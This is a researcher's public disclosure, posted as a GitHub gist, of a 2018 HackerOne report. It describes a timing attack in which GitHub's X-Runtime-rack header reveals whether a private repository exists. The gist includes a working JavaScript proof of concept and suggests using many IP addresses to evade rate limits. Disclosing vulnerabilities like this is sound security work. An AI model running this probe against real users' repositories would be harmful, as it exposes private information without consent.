Skip to content

Instantly share code, notes, and snippets.

@eligrey
Last active January 5, 2024 07:10
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save eligrey/bf27b98cb39408f05e0d4648bb35ca85 to your computer and use it in GitHub Desktop.
Save eligrey/bf27b98cb39408f05e0d4648bb35ca85 to your computer and use it in GitHub Desktop.
GitHub private repository existence disclosure timing attack

eli submitted a report to GitHub.

Oct 1st, 2018

Description:

The X-Runtime-rack header leaks enough timing data to detect the existence of private repositories.

Steps To Reproduce:

  1. Navigate to GitHub.com

  2. Execute the code block in Appendix A.

  3. Call RepoExists(repo_name).then(exists => console.log("repo " + (exists ? "exists" : "doesn't exist")))

    (e.g. RepoExists("eligrey/soundmesh").then(exists => console.log("repo " + (exists ? "exists" : "doesn't exist"))))

My PoC is simplified and isn't 100% reliable. A better PoC would request the URL more times and from many different IPs as to avoid the GitHub rate limits. Even within the existing rate limits for a single IP address, this code already works quite reliably for me.

Appendix A

"use strict";
const RepoExists = (name) => {
    const githubUrl = "https://github.com/" + name;
    const runtime = 'X-Runtime-rack';
    const threshold = 0.0077235; // Half of L-estimator of source deltas (~20ms)
    const deltas = [];
    const next = (samplesLeft) => {
        if (samplesLeft < 1) {
            const len = deltas.length;
            deltas.sort((a, b) => a - b);
            const estimate = (deltas[len * 0.4 | 0] + deltas[len * 0.6 | 0]) / 2;
            return Promise.resolve(estimate >= threshold);
        }
        const random = Math.random().toString(36).slice(2);
        return Promise.all([
            fetch(githubUrl + random + '?_=' + random),
            fetch(githubUrl + '?_=' + random)
        ]).then((responses) => {
            const control = responses[0];
            const test = responses[1];
            if (!control.headers.has(runtime) || !test.headers.has(runtime)) {
                throw new Error(`GitHub did not provide ${runtime} header.`);
            }
            const delta = +test.headers.get(runtime)
                - +control.headers.get(runtime);
            deltas.push(delta);
            return next(samplesLeft - 1);
        });
    };
    return next(16);
};

Impact

An attacker controlling a large enough IP space (to avoid rate limits) could ascertain the existence of users' private repositories.


GitHub doesn't use the disclosure feature of HackerOne, so I am disclosing the vulnerability details here.

@eligrey
Copy link
Author

eligrey commented Oct 11, 2018

My HackerOne profile: https://hackerone.com/eli

HackerOne entry for this vulnerability (private, as GitHub has not disclosed it publicly): https://hackerone.com/reports/417374

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment